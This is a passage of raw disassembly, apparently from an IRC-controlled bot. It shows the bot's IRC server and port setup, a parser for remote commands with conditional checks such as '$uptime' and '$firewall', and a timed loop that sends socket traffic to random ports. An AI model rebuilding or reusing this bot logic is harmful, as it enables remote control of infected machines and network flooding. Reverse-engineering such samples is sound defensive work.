mov eax, [ebp+var_1A8]
sub eax, dword_419838
neg eax
sbb eax, eax
inc eax
test eax, eax
jz loc_40C4B0
call sub_416B64 ; clock
mov [ebp+var_639C], eax
and [ebp+var_63A4], 0
and [ebp+var_63A0], 0
push 10h
push 0
lea eax, [ebp+var_63B4]
push eax
call sub_416B6A ; memset
add esp, 0Ch
mov [ebp+var_63B4], 2
loc_40C3C8: ; CODE XREF: sub_40A9CF+1A95j
call sub_416B64 ; clock
sub eax, [ebp+var_639C]
cmp eax, 3E8h
jnb loc_40C469
push 0FFFFh
push 1
call sub_4103F5
pop ecx
pop ecx
push eax
call ds:dword_417238 ; htons
mov [ebp+var_63B2], ax
push 4
push 0
call sub_4040E8
pop ecx
pop ecx
mov [ebp+var_63B0], eax
push 0
push 2
push 2
call ds:dword_417218 ; socket
mov [ebp+var_63B8], eax
push 10h
lea eax, [ebp+var_63B4]
push eax
push [ebp+var_63B8]
call ds:dword_4171F4 ; connect
push 0
push 1
lea eax, [ebp+var_63A0]
push eax
push [ebp+var_63B8]
call ds:dword_41720C ; send
push [ebp+var_63B8]
call ds:dword_417230 ; closesocket
mov eax, [ebp+var_63A4]
add eax, 2Bh
mov [ebp+var_63A4], eax
jmp loc_40C3C8
; ---------------------------------------------------------------------------
loc_40C469: ; CODE XREF: sub_40A9CF+1A09j
cmp [ebp+var_63A4], 400h
jbe short loc_40C483
mov eax, [ebp+var_63A4]
mov [ebp+var_6408], eax
jmp short loc_40C48D
; ---------------------------------------------------------------------------
loc_40C483: ; CODE XREF: sub_40A9CF+1AA4j
mov [ebp+var_6408], 400h
loc_40C48D: ; CODE XREF: sub_40A9CF+1AB2j
mov eax, [ebp+var_6408]
shr eax, 0Ah
push eax
push offset dword_419820
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 0Ch
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40C4B0: ; CODE XREF: sub_40A9CF+19BEj
mov eax, [ebp+var_1A8]
sub eax, dword_419818
neg eax
sbb eax, eax
inc eax
test eax, eax
jnz short loc_40C4DA
mov eax, [ebp+var_1A8]
sub eax, dword_41980C
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40C4FF
loc_40C4DA: ; CODE XREF: sub_40A9CF+1AF4j
push offset dword_41DC34
push 3B6h
push 0
push offset dword_4197E8
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 14h
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40C4FF: ; CODE XREF: sub_40A9CF+1B09j
mov eax, [ebp+var_1A8]
sub eax, dword_4197DC
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40C53A
mov eax, [ebp+arg_14]
push dword ptr [eax+0Ch]
mov eax, [ebp+arg_14]
push dword ptr [eax+8]
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
lea eax, [ebp+var_1A4]
push eax
call sub_4142BF
add esp, 10h
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40C53A: ; CODE XREF: sub_40A9CF+1B43j
mov eax, [ebp+var_1A8]
sub eax, dword_4197D4
neg eax
sbb eax, eax
inc eax
test eax, eax
jnz short loc_40C564
mov eax, [ebp+var_1A8]
sub eax, dword_4197C8
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40C576
loc_40C564: ; CODE XREF: sub_40A9CF+1B7Ej
lea eax, [ebp+var_1A4]
push eax
call sub_4087C4
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40C576: ; CODE XREF: sub_40A9CF+1B93j
mov eax, [ebp+var_1A8]
sub eax, dword_4197C0
neg eax
sbb eax, eax
inc eax
test eax, eax
jnz short loc_40C5A0
mov eax, [ebp+var_1A8]
sub eax, dword_4197B4
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40C5B2
loc_40C5A0: ; CODE XREF: sub_40A9CF+1BBAj
lea eax, [ebp+var_1A4]
push eax
call sub_408E4A
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40C5B2: ; CODE XREF: sub_40A9CF+1BCFj
mov eax, [ebp+var_1A8]
sub eax, dword_4197A4
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40C614
push 1
push offset a9252 ; "9252"
call sub_4046BC
pop ecx
pop ecx
mov [ebp+var_63BC], eax
push [ebp+var_63BC]
push offset dword_418B5C
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 0Ch
cmp [ebp+var_63BC], 0
jnz short loc_40C603
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40C603: ; CODE XREF: sub_40A9CF+1C2Dj
push [ebp+var_63BC]
call sub_404CBB
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40C614: ; CODE XREF: sub_40A9CF+1BF6j
mov eax, [ebp+var_1A8]
sub eax, dword_419790
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40C63B
lea eax, [ebp+var_1A4]
push eax
call sub_4091E2
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40C63B: ; CODE XREF: sub_40A9CF+1C58j
mov eax, [ebp+var_1A8]
sub eax, dword_419788
neg eax
sbb eax, eax
inc eax
test eax, eax
jnz short loc_40C669
mov eax, [ebp+var_1A8]
sub eax, dword_41977C
neg eax
sbb eax, eax
inc eax
test eax, eax
jz loc_40C896
loc_40C669: ; CODE XREF: sub_40A9CF+1C7Fj
mov eax, [ebp+arg_14]
cmp dword ptr [eax+4], 0
jz short loc_40C686
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_640C], eax
jmp short loc_40C68D
; ---------------------------------------------------------------------------
loc_40C686: ; CODE XREF: sub_40A9CF+1CA1j
and [ebp+var_640C], 0
loc_40C68D: ; CODE XREF: sub_40A9CF+1CB5j
mov eax, [ebp+var_640C]
mov [ebp+var_63C8], eax
call sub_4092A4
mov [ebp+var_63E0], eax
mov eax, [ebp+var_63E0]
xor edx, edx
mov ecx, 15180h
div ecx
mov [ebp+var_63D8], eax
mov eax, [ebp+var_63E0]
xor edx, edx
mov ecx, 15180h
div ecx
mov eax, edx
xor edx, edx
mov ecx, 0E10h
div ecx
mov [ebp+var_63C4], eax
mov eax, [ebp+var_63E0]
xor edx, edx
mov ecx, 15180h
div ecx
mov eax, edx
xor edx, edx
mov ecx, 0E10h
div ecx
mov eax, edx
xor edx, edx
push 3Ch
pop ecx
div ecx
mov [ebp+var_63D4], eax
mov eax, [ebp+var_63D8]
cmp eax, [ebp+var_63C8]
jnb short loc_40C715
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40C715: ; CODE XREF: sub_40A9CF+1D3Fj
call sub_409318
mov [ebp+var_63C0], eax
mov eax, [ebp+var_63C0]
xor edx, edx
mov ecx, 15180h
div ecx
mov [ebp+var_63CC], eax
mov eax, [ebp+var_63C0]
xor edx, edx
mov ecx, 15180h
div ecx
mov eax, edx
xor edx, edx
mov ecx, 0E10h
div ecx
mov [ebp+var_63DC], eax
mov eax, [ebp+var_63C0]
xor edx, edx
mov ecx, 15180h
div ecx
mov eax, edx
xor edx, edx
mov ecx, 0E10h
div ecx
mov eax, edx
xor edx, edx
push 3Ch
pop ecx
div ecx
mov [ebp+var_63D0], eax
cmp [ebp+var_63D0], 1
jnz short loc_40C793
mov [ebp+var_6410], offset byte_41DE30
jmp short loc_40C79D
; ---------------------------------------------------------------------------
loc_40C793: ; CODE XREF: sub_40A9CF+1DB6j
mov [ebp+var_6410], offset dword_4191F4
loc_40C79D: ; CODE XREF: sub_40A9CF+1DC2j
cmp [ebp+var_63DC], 1
jnz short loc_40C7B2
mov [ebp+var_6414], offset byte_41DE30
jmp short loc_40C7BC
; ---------------------------------------------------------------------------
loc_40C7B2: ; CODE XREF: sub_40A9CF+1DD5j
mov [ebp+var_6414], offset dword_4191F4
loc_40C7BC: ; CODE XREF: sub_40A9CF+1DE1j
cmp [ebp+var_63CC], 1
jnz short loc_40C7D1
mov [ebp+var_6418], offset byte_41DE30
jmp short loc_40C7DB
; ---------------------------------------------------------------------------
loc_40C7D1: ; CODE XREF: sub_40A9CF+1DF4j
mov [ebp+var_6418], offset dword_4191F4
loc_40C7DB: ; CODE XREF: sub_40A9CF+1E00j
cmp [ebp+var_63D4], 1
jnz short loc_40C7F0
mov [ebp+var_641C], offset byte_41DE30
jmp short loc_40C7FA
; ---------------------------------------------------------------------------
loc_40C7F0: ; CODE XREF: sub_40A9CF+1E13j
mov [ebp+var_641C], offset dword_4191F4
loc_40C7FA: ; CODE XREF: sub_40A9CF+1E1Fj
cmp [ebp+var_63C4], 1
jnz short loc_40C80F
mov [ebp+var_6420], offset byte_41DE30
jmp short loc_40C819
; ---------------------------------------------------------------------------
loc_40C80F: ; CODE XREF: sub_40A9CF+1E32j
mov [ebp+var_6420], offset dword_4191F4
loc_40C819: ; CODE XREF: sub_40A9CF+1E3Ej
cmp [ebp+var_63D8], 1
jnz short loc_40C82E
mov [ebp+var_6424], offset byte_41DE30
jmp short loc_40C838
; ---------------------------------------------------------------------------
loc_40C82E: ; CODE XREF: sub_40A9CF+1E51j
mov [ebp+var_6424], offset dword_4191F4
loc_40C838: ; CODE XREF: sub_40A9CF+1E5Dj
push [ebp+var_6410]
push [ebp+var_63D0]
push [ebp+var_6414]
push [ebp+var_63DC]
push [ebp+var_6418]
push [ebp+var_63CC]
push [ebp+var_641C]
push [ebp+var_63D4]
push [ebp+var_6420]
push [ebp+var_63C4]
push [ebp+var_6424]
push [ebp+var_63D8]
push offset dword_419708
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 38h
jmp short loc_40C912
; ---------------------------------------------------------------------------
loc_40C896: ; CODE XREF: sub_40A9CF+1C94j
mov eax, [ebp+var_1A8]
sub eax, dword_419700
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40C912
mov eax, [ebp+arg_14]
cmp dword ptr [eax+4], 0
jz short loc_40C8BD
mov eax, [ebp+arg_14]
cmp dword ptr [eax+8], 0
jnz short loc_40C8BF
loc_40C8BD: ; CODE XREF: sub_40A9CF+1EE3j
jmp short loc_40C912
; ---------------------------------------------------------------------------
loc_40C8BF: ; CODE XREF: sub_40A9CF+1EECj
push 2
push offset aId ; "id"
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
call sub_416F80 ; _strnicmp
add esp, 0Ch
test eax, eax
jnz short loc_40C8EA
mov eax, [ebp+arg_14]
push dword ptr [eax+8]
push offset byte_41EEC8
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
loc_40C8EA: ; CODE XREF: sub_40A9CF+1F07j
push offset aUsername ; "username"
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz short loc_40C912
mov eax, [ebp+arg_14]
push dword ptr [eax+8]
push offset byte_41F048
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
loc_40C912: ; CODE XREF: sub_40A9CF+85j
; sub_40A9CF+D8j ...
pop edi
pop esi
leave
retn
sub_40A9CF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C916 proc near ; CODE XREF: sub_40CA29+47Fp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
loc_40C919: ; CODE XREF: sub_40C916+1Fj
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
cmp eax, 20h
jnz short loc_40C937
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
test eax, eax
jz short loc_40C937
mov eax, [ebp+arg_0]
inc eax
mov [ebp+arg_0], eax
jmp short loc_40C919
; ---------------------------------------------------------------------------
loc_40C937: ; CODE XREF: sub_40C916+Cj
; sub_40C916+16j
mov eax, [ebp+arg_0]
pop ebp
retn
sub_40C916 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C93C proc near ; DATA XREF: sub_40CEB0+66o
var_534 = dword ptr -534h
var_530 = byte ptr -530h
var_38F = byte ptr -38Fh
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_204 = dword ptr -204h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 534h
push 327h
push [ebp+arg_0]
lea eax, [ebp+var_534]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
lea eax, [ebp+var_208]
push eax
push offset asc_419F48 ; ";"
lea eax, [ebp+var_530]
push eax
call sub_40813C
add esp, 0Ch
mov [ebp+var_204], eax
and [ebp+var_20C], 0
loc_40C98D: ; CODE XREF: sub_40C93C+D6j
cmp [ebp+var_204], 0
jnz short loc_40C998
jmp short loc_40CA17
; ---------------------------------------------------------------------------
loc_40C998: ; CODE XREF: sub_40C93C+58j
; sub_40C93C+79j
mov eax, [ebp+var_204]
movsx eax, byte ptr [eax]
cmp eax, 20h
jz short loc_40C9A8
jmp short loc_40C9B7
; ---------------------------------------------------------------------------
loc_40C9A8: ; CODE XREF: sub_40C93C+68j
mov eax, [ebp+var_204]
inc eax
mov [ebp+var_204], eax
jmp short loc_40C998
; ---------------------------------------------------------------------------
loc_40C9B7: ; CODE XREF: sub_40C93C+6Aj
push [ebp+var_204]
lea eax, [ebp+var_38F]
push eax
push offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s"
push 200h
lea eax, [ebp+var_200]
push eax
call sub_416BAE ; _snprintf
add esp, 14h
lea eax, [ebp+var_200]
push eax
call sub_40E618
pop ecx
lea eax, [ebp+var_208]
push eax
push offset asc_419F48 ; ";"
push 0
call sub_40813C
add esp, 0Ch
mov [ebp+var_20C], eax
mov eax, [ebp+var_20C]
mov [ebp+var_204], eax
jmp loc_40C98D
; ---------------------------------------------------------------------------
loc_40CA17: ; CODE XREF: sub_40C93C+5Aj
push [ebp+var_534]
call sub_409763
pop ecx
xor eax, eax
leave
retn 4
sub_40C93C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CA29 proc near ; CODE XREF: sub_40CEB0+8p
var_1EC = dword ptr -1ECh
var_1E8 = byte ptr -1E8h
var_1C8 = byte ptr -1C8h
var_1A8 = dword ptr -1A8h
var_1A4 = dword ptr -1A4h
var_1A0 = byte ptr -1A0h
var_190 = byte ptr -190h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1ECh
cmp [ebp+arg_0], 0
jz short loc_40CA43
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
cmp eax, 28h
jz short loc_40CA4A
loc_40CA43: ; CODE XREF: sub_40CA29+Dj
xor eax, eax
jmp locret_40CEAE
; ---------------------------------------------------------------------------
loc_40CA4A: ; CODE XREF: sub_40CA29+18j
mov eax, [ebp+arg_0]
inc eax
mov [ebp+arg_0], eax
push offset asc_419FB0 ; ")"
push [ebp+arg_0]
call sub_416BA8 ; strstr
pop ecx
pop ecx
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jnz short loc_40CA70
xor eax, eax
jmp locret_40CEAE
; ---------------------------------------------------------------------------
loc_40CA70: ; CODE XREF: sub_40CA29+3Ej
mov eax, [ebp+var_10]
sub eax, [ebp+arg_0]
inc eax
cmp eax, 180h
jbe short loc_40CA8A
mov [ebp+var_1EC], 180h
jmp short loc_40CA97
; ---------------------------------------------------------------------------
loc_40CA8A: ; CODE XREF: sub_40CA29+53j
mov eax, [ebp+var_10]
sub eax, [ebp+arg_0]
inc eax
mov [ebp+var_1EC], eax
loc_40CA97: ; CODE XREF: sub_40CA29+5Fj
push [ebp+var_1EC]
push [ebp+arg_0]
lea eax, [ebp+var_190]
push eax
call sub_407A56
add esp, 0Ch
push 1
push 1
lea eax, [ebp+var_190]
push eax
call sub_407C2C
add esp, 0Ch
lea eax, [ebp+var_8]
push eax
push offset asc_419FAC ; "&&"
lea eax, [ebp+var_190]
push eax
call sub_40813C
add esp, 0Ch
mov [ebp+var_4], eax
and [ebp+var_C], 0
loc_40CAE1: ; CODE XREF: sub_40CA29+475j
cmp [ebp+var_4], 0
jnz short loc_40CAEC
jmp loc_40CEA3
; ---------------------------------------------------------------------------
loc_40CAEC: ; CODE XREF: sub_40CA29+BCj
; sub_40CA29+D7j
mov eax, [ebp+var_4]
movsx eax, byte ptr [eax]
cmp eax, 20h
jz short loc_40CAF9
jmp short loc_40CB02
; ---------------------------------------------------------------------------
loc_40CAF9: ; CODE XREF: sub_40CA29+CCj
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
jmp short loc_40CAEC
; ---------------------------------------------------------------------------
loc_40CB02: ; CODE XREF: sub_40CA29+CEj
lea eax, [ebp+var_1E8]
push eax
lea eax, [ebp+var_1A0]
push eax
lea eax, [ebp+var_1C8]
push eax
push offset a32s16s32s ; "%32s %16s %32s"
push [ebp+var_4]
call sub_416BA2 ; sscanf
add esp, 14h
cmp eax, 3
jz short loc_40CB33
xor eax, eax
jmp locret_40CEAE
; ---------------------------------------------------------------------------
loc_40CB33: ; CODE XREF: sub_40CA29+101j
lea eax, [ebp+var_1C8]
push eax
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_1A4], eax
lea eax, [ebp+var_1E8]
push eax
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_1A8], eax
cmp [ebp+var_1A4], 0
jnz loc_40CC6E
push offset dword_418F50
lea eax, [ebp+var_1C8]
push eax
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jz loc_40CC6E
push offset aUptime ; "$uptime"
lea eax, [ebp+var_1C8]
push eax
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz short loc_40CBB1
call sub_4092A4
xor edx, edx
mov ecx, 15180h
div ecx
mov [ebp+var_1A4], eax
jmp loc_40CC6E
; ---------------------------------------------------------------------------
loc_40CBB1: ; CODE XREF: sub_40CA29+16Dj
push offset aVersion ; "$version"
lea eax, [ebp+var_1C8]
push eax
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz short loc_40CBD7
mov [ebp+var_1A4], 3B6h
jmp loc_40CC6E
; ---------------------------------------------------------------------------
loc_40CBD7: ; CODE XREF: sub_40CA29+19Dj
push offset aFree ; "$free"
lea eax, [ebp+var_1C8]
push eax
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz short loc_40CBFB
call sub_408E8E
mov [ebp+var_1A4], eax
jmp short loc_40CC6E
; ---------------------------------------------------------------------------
loc_40CBFB: ; CODE XREF: sub_40CA29+1C3j
push offset aLatency ; "$latency"
lea eax, [ebp+var_1C8]
push eax
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz short loc_40CC1F
call sub_408887
mov [ebp+var_1A4], eax
jmp short loc_40CC6E
; ---------------------------------------------------------------------------
loc_40CC1F: ; CODE XREF: sub_40CA29+1E7j
push offset aFirewall ; "$firewall"
lea eax, [ebp+var_1C8]
push eax
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz short loc_40CC43
call sub_404279
mov [ebp+var_1A4], eax
jmp short loc_40CC6E
; ---------------------------------------------------------------------------
loc_40CC43: ; CODE XREF: sub_40CA29+20Bj
push offset aIpv6 ; "$ipv6"
lea eax, [ebp+var_1C8]
push eax
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz short loc_40CC67
call sub_4043E9
mov [ebp+var_1A4], eax
jmp short loc_40CC6E
; ---------------------------------------------------------------------------
loc_40CC67: ; CODE XREF: sub_40CA29+22Fj
xor eax, eax
jmp locret_40CEAE
; ---------------------------------------------------------------------------
loc_40CC6E: ; CODE XREF: sub_40CA29+137j
; sub_40CA29+152j ...
cmp [ebp+var_1A8], 0
jnz loc_40CD83
push offset dword_418F50
lea eax, [ebp+var_1E8]
push eax
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jz loc_40CD83
push offset aUptime ; "$uptime"
lea eax, [ebp+var_1E8]
push eax
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz short loc_40CCC6
call sub_4092A4
xor edx, edx
mov ecx, 15180h
div ecx
mov [ebp+var_1A8], eax
jmp loc_40CD83
; ---------------------------------------------------------------------------
loc_40CCC6: ; CODE XREF: sub_40CA29+282j
push offset aVersion ; "$version"
lea eax, [ebp+var_1E8]
push eax
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz short loc_40CCEC
mov [ebp+var_1A8], 3B6h
jmp loc_40CD83
; ---------------------------------------------------------------------------
loc_40CCEC: ; CODE XREF: sub_40CA29+2B2j
push offset aFree ; "$free"
lea eax, [ebp+var_1E8]
push eax
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz short loc_40CD10
call sub_408E8E
mov [ebp+var_1A8], eax
jmp short loc_40CD83
; ---------------------------------------------------------------------------
loc_40CD10: ; CODE XREF: sub_40CA29+2D8j
push offset aLatency ; "$latency"
lea eax, [ebp+var_1E8]
push eax
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz short loc_40CD34
call sub_408887
mov [ebp+var_1A8], eax
jmp short loc_40CD83
; ---------------------------------------------------------------------------
loc_40CD34: ; CODE XREF: sub_40CA29+2FCj
push offset aFirewall ; "$firewall"
lea eax, [ebp+var_1E8]
push eax
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz short loc_40CD58
call sub_404279
mov [ebp+var_1A8], eax
jmp short loc_40CD83
; ---------------------------------------------------------------------------
loc_40CD58: ; CODE XREF: sub_40CA29+320j
push offset aIpv6 ; "$ipv6"
lea eax, [ebp+var_1E8]
push eax
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz short loc_40CD7C
call sub_4043E9
mov [ebp+var_1A8], eax
jmp short loc_40CD83
; ---------------------------------------------------------------------------
loc_40CD7C: ; CODE XREF: sub_40CA29+344j
xor eax, eax
jmp locret_40CEAE
; ---------------------------------------------------------------------------
loc_40CD83: ; CODE XREF: sub_40CA29+24Cj
; sub_40CA29+267j ...
push offset asc_419F5C ; "=="
lea eax, [ebp+var_1A0]
push eax
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz short loc_40CDAF
mov eax, [ebp+var_1A4]
cmp eax, [ebp+var_1A8]
jz short loc_40CDAF
xor eax, eax
jmp locret_40CEAE
; ---------------------------------------------------------------------------
loc_40CDAF: ; CODE XREF: sub_40CA29+36Fj
; sub_40CA29+37Dj
push offset asc_419F58 ; "!="
lea eax, [ebp+var_1A0]
push eax
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz short loc_40CDDB
mov eax, [ebp+var_1A4]
cmp eax, [ebp+var_1A8]
jnz short loc_40CDDB
xor eax, eax
jmp locret_40CEAE
; ---------------------------------------------------------------------------
loc_40CDDB: ; CODE XREF: sub_40CA29+39Bj
; sub_40CA29+3A9j
push offset asc_419F54 ; ">"
lea eax, [ebp+var_1A0]
push eax
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz short loc_40CE07
mov eax, [ebp+var_1A4]
cmp eax, [ebp+var_1A8]
ja short loc_40CE07
xor eax, eax
jmp locret_40CEAE
; ---------------------------------------------------------------------------
loc_40CE07: ; CODE XREF: sub_40CA29+3C7j
; sub_40CA29+3D5j
push offset asc_419F50 ; ">="
lea eax, [ebp+var_1A0]
push eax
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz short loc_40CE30
mov eax, [ebp+var_1A4]
cmp eax, [ebp+var_1A8]
jnb short loc_40CE30
xor eax, eax
jmp short locret_40CEAE
; ---------------------------------------------------------------------------
loc_40CE30: ; CODE XREF: sub_40CA29+3F3j
; sub_40CA29+401j
push offset dword_419968
lea eax, [ebp+var_1A0]
push eax
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz short loc_40CE59
mov eax, [ebp+var_1A4]
cmp eax, [ebp+var_1A8]
jb short loc_40CE59
xor eax, eax
jmp short locret_40CEAE
; ---------------------------------------------------------------------------
loc_40CE59: ; CODE XREF: sub_40CA29+41Cj
; sub_40CA29+42Aj
push offset asc_419F4C ; "<="
lea eax, [ebp+var_1A0]
push eax
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz short loc_40CE82
mov eax, [ebp+var_1A4]
cmp eax, [ebp+var_1A8]
jbe short loc_40CE82
xor eax, eax
jmp short locret_40CEAE
; ---------------------------------------------------------------------------
loc_40CE82: ; CODE XREF: sub_40CA29+445j
; sub_40CA29+453j
lea eax, [ebp+var_8]
push eax
push offset asc_419FAC ; "&&"
push 0
call sub_40813C
add esp, 0Ch
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
mov [ebp+var_4], eax
jmp loc_40CAE1
; ---------------------------------------------------------------------------
loc_40CEA3: ; CODE XREF: sub_40CA29+BEj
mov eax, [ebp+var_10]
inc eax
push eax
call sub_40C916
pop ecx
locret_40CEAE: ; CODE XREF: sub_40CA29+1Cj
; sub_40CA29+42j ...
leave
retn
sub_40CA29 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CEB0 proc near ; CODE XREF: sub_40A9CF+14CEp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push [ebp+arg_4]
call sub_40CA29
pop ecx
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_40CEC9
jmp short locret_40CF23
; ---------------------------------------------------------------------------
loc_40CEC9: ; CODE XREF: sub_40CEB0+15j
push 327h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_40CEDF
jmp short locret_40CF23
; ---------------------------------------------------------------------------
loc_40CEDF: ; CODE XREF: sub_40CEB0+2Bj
push 180h
push [ebp+var_8]
mov eax, [ebp+var_4]
add eax, 4
push eax
call sub_407A56
add esp, 0Ch
push [ebp+arg_0]
mov eax, [ebp+var_4]
add eax, 184h
push eax
call sub_405F67
pop ecx
pop ecx
push [ebp+var_8]
push offset aExecutingComma ; "Executing command(s): %s"
push 0
push [ebp+var_4]
push offset sub_40C93C
call sub_4095A4
add esp, 14h
locret_40CF23: ; CODE XREF: sub_40CEB0+17j
; sub_40CEB0+2Dj
leave
retn
sub_40CEB0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CF25 proc near ; CODE XREF: sub_4020C2+B3p
; sub_40D871+59Bp ...
push ebp
mov ebp, esp
mov eax, dword_41E9A4
pop ebp
retn
sub_40CF25 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CF2F proc near ; CODE XREF: sub_40D366+Dp
; sub_40D366+8Ep
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_0], 0
jz short loc_40CF9E
push [ebp+arg_0]
push offset dword_41E898
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
cmp [ebp+arg_4], 0
jz short loc_40CF60
push [ebp+arg_4]
push offset dword_41E998
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
jmp short loc_40CF71
; ---------------------------------------------------------------------------
loc_40CF60: ; CODE XREF: sub_40CF2F+1Ej
push offset a6667 ; "6667"
push offset dword_41E998
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
loc_40CF71: ; CODE XREF: sub_40CF2F+2Fj
cmp [ebp+arg_8], 0
jz short loc_40CF88
push [ebp+arg_8]
push offset byte_41E718
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
jmp short loc_40CF99
; ---------------------------------------------------------------------------
loc_40CF88: ; CODE XREF: sub_40CF2F+46j
push offset byte_41DE30
push offset byte_41E718
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
loc_40CF99: ; CODE XREF: sub_40CF2F+57j
jmp loc_40D020
; ---------------------------------------------------------------------------
loc_40CF9E: ; CODE XREF: sub_40CF2F+9j
and [ebp+var_4], 0
jmp short loc_40CFAB
; ---------------------------------------------------------------------------
loc_40CFA4: ; CODE XREF: sub_40CF2F+8Bj
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_40CFAB: ; CODE XREF: sub_40CF2F+73j
mov eax, [ebp+var_4]
imul eax, 0Ch
cmp off_41DA68[eax], 0
jz short loc_40CFBC
jmp short loc_40CFA4
; ---------------------------------------------------------------------------
loc_40CFBC: ; CODE XREF: sub_40CF2F+89j
call sub_410422
xor edx, edx
div [ebp+var_4]
mov [ebp+var_8], edx
mov eax, [ebp+var_8]
imul eax, 0Ch
push off_41DA68[eax]
push offset dword_41E898
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
mov eax, [ebp+var_8]
imul eax, 0Ch
push off_41DA6C[eax]
push offset dword_41E998
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
mov eax, [ebp+var_8]
imul eax, 0Ch
cmp dword_41DA70[eax], 0
jz short loc_40D020
mov eax, [ebp+var_8]
imul eax, 0Ch
push dword_41DA70[eax]
push offset byte_41E718
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
loc_40D020: ; CODE XREF: sub_40CF2F:loc_40CF99j
; sub_40CF2F+D7j
push offset dword_41E898
call sub_4105AD
pop ecx
push offset dword_41E998
call sub_4105AD
pop ecx
push offset byte_41E718
call sub_4105AD
pop ecx
leave
retn
sub_40CF2F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D043 proc near ; CODE XREF: sub_40D366+7Fp
